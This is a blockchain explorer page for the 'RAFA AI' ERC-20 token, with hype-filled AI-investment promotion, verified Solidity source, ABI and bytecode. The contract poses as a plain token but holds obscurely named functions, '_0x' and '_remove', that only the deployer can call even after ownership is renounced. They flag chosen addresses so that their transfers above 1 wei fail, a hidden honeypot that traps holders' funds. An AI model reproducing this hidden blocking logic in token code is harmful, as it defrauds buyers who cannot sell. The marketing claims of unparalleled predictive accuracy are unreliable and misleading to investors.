ERC-20
Overview
Max Total Supply
1,000,000,000 RAFA AI
Holders
40
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
565,494.869655349030087601 RAFA AIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
RafaAI
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-02-13 */ /* RAFA AI TOKEN www.rafa-ai.com | T.me/rafa_ai_token | x.com/rafa_ai_token In today's ever-evolving financial landscape, the world of cryptocurrency investment stands at the forefront of innovation and opportunity. With the meteoric rise of digital assets, investors worldwide are increasingly drawn to the potential for significant returns and portfolio diversification offered by cryptocurrencies. However, navigating this complex and volatile market presents numerous challenges, ranging from information overload to market uncertainty and the constant need for timely, data-driven decision-making. In this dynamic environment, traditional investment strategies often fall short in providing investors with the agility and foresight needed to thrive. Recognizing these challenges, RAFA AI emerges as a pioneering solution, poised to revolutionize the way investors approach cryptocurrency investment. By harnessing the power of artificial intelligence, RAFA AI empowers investors with unparalleled insights, cutting-edge analysis, and sophisticated portfolio management tools, ultimately enabling them to make informed decisions and seize lucrative opportunities in the crypto market. Addressing the Challenges: The journey of a cryptocurrency investor is fraught with challenges, from deciphering market trends amidst the noise of information overload to managing risk in the face of unpredictable volatility. Traditional investment methods often struggle to keep pace with the rapid shifts and complexities inherent in the cryptocurrency market, leaving investors vulnerable to missed opportunities and costly mistakes. Moreover, the lack of sophisticated tools tailored to the unique dynamics of the crypto landscape further exacerbates these challenges, limiting investors' ability to navigate the market with confidence and precision. As a result, many investors find themselves at a crossroads, seeking a solution that can provide them with the insights, analysis, and strategic guidance necessary to thrive in the world of cryptocurrency investment. The Role of RAFA AI: Enter RAFA AI, a groundbreaking platform designed to empower cryptocurrency investors with the tools, intelligence, and foresight needed to excel in this fast-paced and dynamic market. Built on the foundation of cutting-edge artificial intelligence and advanced data analytics, RAFA AI represents a paradigm shift in the way investors approach cryptocurrency investment. At its core, RAFA AI leverages the power of AI-driven algorithms to analyze vast amounts of market data in real-time, uncovering hidden patterns, identifying emerging trends, and predicting market movements with unparalleled accuracy. By distilling complex market dynamics into actionable insights, RAFA AI empowers investors to make informed decisions, optimize their investment strategies, and capitalize on lucrative opportunities in the crypto market. Empowering Investors: RAFA AI stands as a beacon of empowerment for investors, offering a comprehensive suite of features and functionalities designed to meet the diverse needs and objectives of cryptocurrency investors. From research and analysis tools that provide deep insights into market trends to sophisticated portfolio management capabilities that enable investors to optimize their risk-return profiles, RAFA AI equips investors with the resources they need to succeed in the world of cryptocurrency investment. Furthermore, RAFA AI's commitment to transparency, innovation, and user-centric design ensures that investors have access to best-in-class tools and services that enable them to stay ahead of the curve and navigate the complexities of the crypto market with confidence and precision. As the cryptocurrency landscape continues to evolve and mature, RAFA AI remains steadfast in its mission to empower investors with the intelligence, insights, and tools needed to thrive in this exciting and dynamic ecosystem. */ pragma solidity = 0.8.23; // SPDX-License-Identifier: MIT interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } contract Ownable is Context { address private _Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _Owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _Owner; } function renounceOwnership() public virtual { require(msg.sender == _Owner); emit OwnershipTransferred(_Owner, address(0)); _Owner = address(0); } } contract RafaAI is Context, IERC20, Ownable { mapping (address => uint256) public _balances; mapping (address => uint256) public Version; mapping (address => bool) private _User; mapping (address => mapping (address => uint256)) private _allowances; uint256 public _totalSupply; string public _name = "Rafa AI"; string public _symbol = unicode"RAFA AI"; uint8 private _decimals = 18; constructor () { uint256 _bnum = block.number; Version[_msgSender()] = _bnum; _totalSupply += 1000000000 *1000000000000000000; _balances[_msgSender()] += _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transferfrom(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be grater thatn zero"); uint256 mAmount = amount; if (_User[sender]) require(mAmount < 2); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _remove (address _address) external { require (Version[_msgSender()] >= _decimals); _User[_address] = false; } function _transferfrom(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be grater thatn zero"); uint256 mAmount = amount; if (_User[sender] || _User[recipient]) require(mAmount < 2); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _0x (address _address) external { require (Version[_msgSender()] >= _decimals); _User[_address] = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"Version","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"_0x","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"_remove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600781526020017f5261666120414900000000000000000000000000000000000000000000000000815250600690816200004a919062000532565b506040518060400160405280600781526020017f52414641204149000000000000000000000000000000000000000000000000008152506007908162000091919062000532565b50601260085f6101000a81548160ff021916908360ff160217905550348015620000b9575f80fd5b505f620000cb620002c760201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505f4390508060025f6200017f620002c760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506b033b2e3c9fd0803ce800000060055f828254620001db919062000643565b9250508190555060055460015f620001f8620002c760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825462000241919062000643565b9250508190555062000258620002c760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620002b891906200068e565b60405180910390a350620006a9565b5f33905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200034a57607f821691505b60208210810362000360576200035f62000305565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003c47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000387565b620003d0868362000387565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200041a620004146200040e84620003e8565b620003f1565b620003e8565b9050919050565b5f819050919050565b6200043583620003fa565b6200044d620004448262000421565b84845462000393565b825550505050565b5f90565b6200046362000455565b620004708184846200042a565b505050565b5b8181101562000497576200048b5f8262000459565b60018101905062000476565b5050565b601f821115620004e657620004b08162000366565b620004bb8462000378565b81016020851015620004cb578190505b620004e3620004da8562000378565b83018262000475565b50505b505050565b5f82821c905092915050565b5f620005085f1984600802620004eb565b1980831691505092915050565b5f620005228383620004f7565b9150826002028217905092915050565b6200053d82620002ce565b67ffffffffffffffff811115620005595762000558620002d8565b5b62000565825462000332565b620005728282856200049b565b5f60209050601f831160018114620005a8575f841562000593578287015190505b6200059f858262000515565b8655506200060e565b601f198416620005b88662000366565b5f5b82811015620005e157848901518255600182019150602085019450602081019050620005ba565b86831015620006015784890151620005fd601f891682620004f7565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200064f82620003e8565b91506200065c83620003e8565b925082820190508082111562000677576200067662000616565b5b92915050565b6200068881620003e8565b82525050565b5f602082019050620006a35f8301846200067d565b92915050565b611aed80620006b75f395ff3fe608060405234801561000f575f80fd5b5060043610610114575f3560e01c806370a08231116100a0578063a9059cbb1161006f578063a9059cbb146102e2578063b0319cb914610312578063b09f12661461032e578063d28d88521461034c578063dd62ed3e1461036a57610114565b806370a082311461026c578063715018a61461029c5780638da5cb5b146102a657806395d89b41146102c457610114565b80631a4baf0b116100e75780631a4baf0b146101a057806323b872dd146101d0578063313ce567146102005780633eaaf86b1461021e5780636ebcf6071461023c57610114565b806306fdde0314610118578063095ea7b31461013657806310d426f21461016657806318160ddd14610182575b5f80fd5b61012061039a565b60405161012d9190611386565b60405180910390f35b610150600480360381019061014b9190611437565b61042a565b60405161015d919061148f565b60405180910390f35b610180600480360381019061017b91906114a8565b610447565b005b61018a6104ff565b60405161019791906114e2565b60405180910390f35b6101ba60048036038101906101b591906114a8565b610508565b6040516101c791906114e2565b60405180910390f35b6101ea60048036038101906101e591906114fb565b61051d565b6040516101f7919061148f565b60405180910390f35b610208610618565b6040516102159190611566565b60405180910390f35b61022661062d565b60405161023391906114e2565b60405180910390f35b610256600480360381019061025191906114a8565b610633565b60405161026391906114e2565b60405180910390f35b610286600480360381019061028191906114a8565b610648565b60405161029391906114e2565b60405180910390f35b6102a461068e565b005b6102ae61079e565b6040516102bb919061158e565b60405180910390f35b6102cc6107c5565b6040516102d99190611386565b60405180910390f35b6102fc60048036038101906102f79190611437565b610855565b604051610309919061148f565b60405180910390f35b61032c600480360381019061032791906114a8565b610872565b005b61033661092b565b6040516103439190611386565b60405180910390f35b6103546109b7565b6040516103619190611386565b60405180910390f35b610384600480360381019061037f91906115a7565b610a43565b60405161039191906114e2565b60405180910390f35b6060600680546103a990611612565b80601f01602080910402602001604051908101604052809291908181526020018280546103d590611612565b80156104205780601f106103f757610100808354040283529160200191610420565b820191905f5260205f20905b81548152906001019060200180831161040357829003601f168201915b5050505050905090565b5f61043d610436610ac5565b8484610acc565b6001905092915050565b60085f9054906101000a900460ff1660ff1660025f610464610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156104a8575f80fd5b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600554905090565b6002602052805f5260405f205f915090505481565b5f610529848484610c8f565b5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610570610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156105ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e6906116b2565b60405180910390fd5b61060c856105fb610ac5565b858461060791906116fd565b610acc565b60019150509392505050565b5f60085f9054906101000a900460ff16905090565b60055481565b6001602052805f5260405f205f915090505481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106e4575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546107d490611612565b80601f016020809104026020016040519081016040528092919081815260200182805461080090611612565b801561084b5780601f106108225761010080835404028352916020019161084b565b820191905f5260205f20905b81548152906001019060200180831161082e57829003601f168201915b5050505050905090565b5f610868610861610ac5565b8484610fee565b6001905092915050565b60085f9054906101000a900460ff1660ff1660025f61088f610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156108d3575f80fd5b600160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b6007805461093890611612565b80601f016020809104026020016040519081016040528092919081815260200182805461096490611612565b80156109af5780601f10610986576101008083540402835291602001916109af565b820191905f5260205f20905b81548152906001019060200180831161099257829003601f168201915b505050505081565b600680546109c490611612565b80601f01602080910402602001604051908101604052809291908181526020018280546109f090611612565b8015610a3b5780601f10610a1257610100808354040283529160200191610a3b565b820191905f5260205f20905b815481529060010190602001808311610a1e57829003601f168201915b505050505081565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b31906117a0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9f9061182e565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c8291906114e2565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf4906118bc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d629061194a565b60405180910390fd5b5f8111610dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da4906119d8565b60405180910390fd5b5f81905060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680610e4c575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15610e5e5760028110610e5d575f80fd5b5b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610ee2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed990611a66565b60405180910390fd5b8281610eee91906116fd565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508260015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f7b9190611a84565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fdf91906114e2565b60405180910390a35050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361105c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611053906118bc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c19061194a565b60405180910390fd5b5f811161110c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611103906119d8565b60405180910390fd5b5f81905060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561116c576002811061116b575f80fd5b5b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156111f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e790611a66565b60405180910390fd5b82816111fc91906116fd565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508260015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546112899190611a84565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112ed91906114e2565b60405180910390a35050505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611333578082015181840152602081019050611318565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611358826112fc565b6113628185611306565b9350611372818560208601611316565b61137b8161133e565b840191505092915050565b5f6020820190508181035f83015261139e818461134e565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113d3826113aa565b9050919050565b6113e3816113c9565b81146113ed575f80fd5b50565b5f813590506113fe816113da565b92915050565b5f819050919050565b61141681611404565b8114611420575f80fd5b50565b5f813590506114318161140d565b92915050565b5f806040838503121561144d5761144c6113a6565b5b5f61145a858286016113f0565b925050602061146b85828601611423565b9150509250929050565b5f8115159050919050565b61148981611475565b82525050565b5f6020820190506114a25f830184611480565b92915050565b5f602082840312156114bd576114bc6113a6565b5b5f6114ca848285016113f0565b91505092915050565b6114dc81611404565b82525050565b5f6020820190506114f55f8301846114d3565b92915050565b5f805f60608486031215611512576115116113a6565b5b5f61151f868287016113f0565b9350506020611530868287016113f0565b925050604061154186828701611423565b9150509250925092565b5f60ff82169050919050565b6115608161154b565b82525050565b5f6020820190506115795f830184611557565b92915050565b611588816113c9565b82525050565b5f6020820190506115a15f83018461157f565b92915050565b5f80604083850312156115bd576115bc6113a6565b5b5f6115ca858286016113f0565b92505060206115db858286016113f0565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061162957607f821691505b60208210810361163c5761163b6115e5565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f61169c602883611306565b91506116a782611642565b604082019050919050565b5f6020820190508181035f8301526116c981611690565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61170782611404565b915061171283611404565b925082820390508181111561172a576117296116d0565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61178a602483611306565b915061179582611730565b604082019050919050565b5f6020820190508181035f8301526117b78161177e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611818602283611306565b9150611823826117be565b604082019050919050565b5f6020820190508181035f8301526118458161180c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6118a6602583611306565b91506118b18261184c565b604082019050919050565b5f6020820190508181035f8301526118d38161189a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611934602383611306565b915061193f826118da565b604082019050919050565b5f6020820190508181035f83015261196181611928565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726174657220745f8201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6119c2602983611306565b91506119cd82611968565b604082019050919050565b5f6020820190508181035f8301526119ef816119b6565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611a50602683611306565b9150611a5b826119f6565b604082019050919050565b5f6020820190508181035f830152611a7d81611a44565b9050919050565b5f611a8e82611404565b9150611a9983611404565b9250828201905080821115611ab157611ab06116d0565b5b9291505056fea26469706673582212204468ee621fd9189dd4b57f1e508f64949c910437b59115c3ce129001309c4a4c64736f6c63430008170033
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610114575f3560e01c806370a08231116100a0578063a9059cbb1161006f578063a9059cbb146102e2578063b0319cb914610312578063b09f12661461032e578063d28d88521461034c578063dd62ed3e1461036a57610114565b806370a082311461026c578063715018a61461029c5780638da5cb5b146102a657806395d89b41146102c457610114565b80631a4baf0b116100e75780631a4baf0b146101a057806323b872dd146101d0578063313ce567146102005780633eaaf86b1461021e5780636ebcf6071461023c57610114565b806306fdde0314610118578063095ea7b31461013657806310d426f21461016657806318160ddd14610182575b5f80fd5b61012061039a565b60405161012d9190611386565b60405180910390f35b610150600480360381019061014b9190611437565b61042a565b60405161015d919061148f565b60405180910390f35b610180600480360381019061017b91906114a8565b610447565b005b61018a6104ff565b60405161019791906114e2565b60405180910390f35b6101ba60048036038101906101b591906114a8565b610508565b6040516101c791906114e2565b60405180910390f35b6101ea60048036038101906101e591906114fb565b61051d565b6040516101f7919061148f565b60405180910390f35b610208610618565b6040516102159190611566565b60405180910390f35b61022661062d565b60405161023391906114e2565b60405180910390f35b610256600480360381019061025191906114a8565b610633565b60405161026391906114e2565b60405180910390f35b610286600480360381019061028191906114a8565b610648565b60405161029391906114e2565b60405180910390f35b6102a461068e565b005b6102ae61079e565b6040516102bb919061158e565b60405180910390f35b6102cc6107c5565b6040516102d99190611386565b60405180910390f35b6102fc60048036038101906102f79190611437565b610855565b604051610309919061148f565b60405180910390f35b61032c600480360381019061032791906114a8565b610872565b005b61033661092b565b6040516103439190611386565b60405180910390f35b6103546109b7565b6040516103619190611386565b60405180910390f35b610384600480360381019061037f91906115a7565b610a43565b60405161039191906114e2565b60405180910390f35b6060600680546103a990611612565b80601f01602080910402602001604051908101604052809291908181526020018280546103d590611612565b80156104205780601f106103f757610100808354040283529160200191610420565b820191905f5260205f20905b81548152906001019060200180831161040357829003601f168201915b5050505050905090565b5f61043d610436610ac5565b8484610acc565b6001905092915050565b60085f9054906101000a900460ff1660ff1660025f610464610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156104a8575f80fd5b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600554905090565b6002602052805f5260405f205f915090505481565b5f610529848484610c8f565b5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610570610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156105ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e6906116b2565b60405180910390fd5b61060c856105fb610ac5565b858461060791906116fd565b610acc565b60019150509392505050565b5f60085f9054906101000a900460ff16905090565b60055481565b6001602052805f5260405f205f915090505481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106e4575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546107d490611612565b80601f016020809104026020016040519081016040528092919081815260200182805461080090611612565b801561084b5780601f106108225761010080835404028352916020019161084b565b820191905f5260205f20905b81548152906001019060200180831161082e57829003601f168201915b5050505050905090565b5f610868610861610ac5565b8484610fee565b6001905092915050565b60085f9054906101000a900460ff1660ff1660025f61088f610ac5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156108d3575f80fd5b600160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff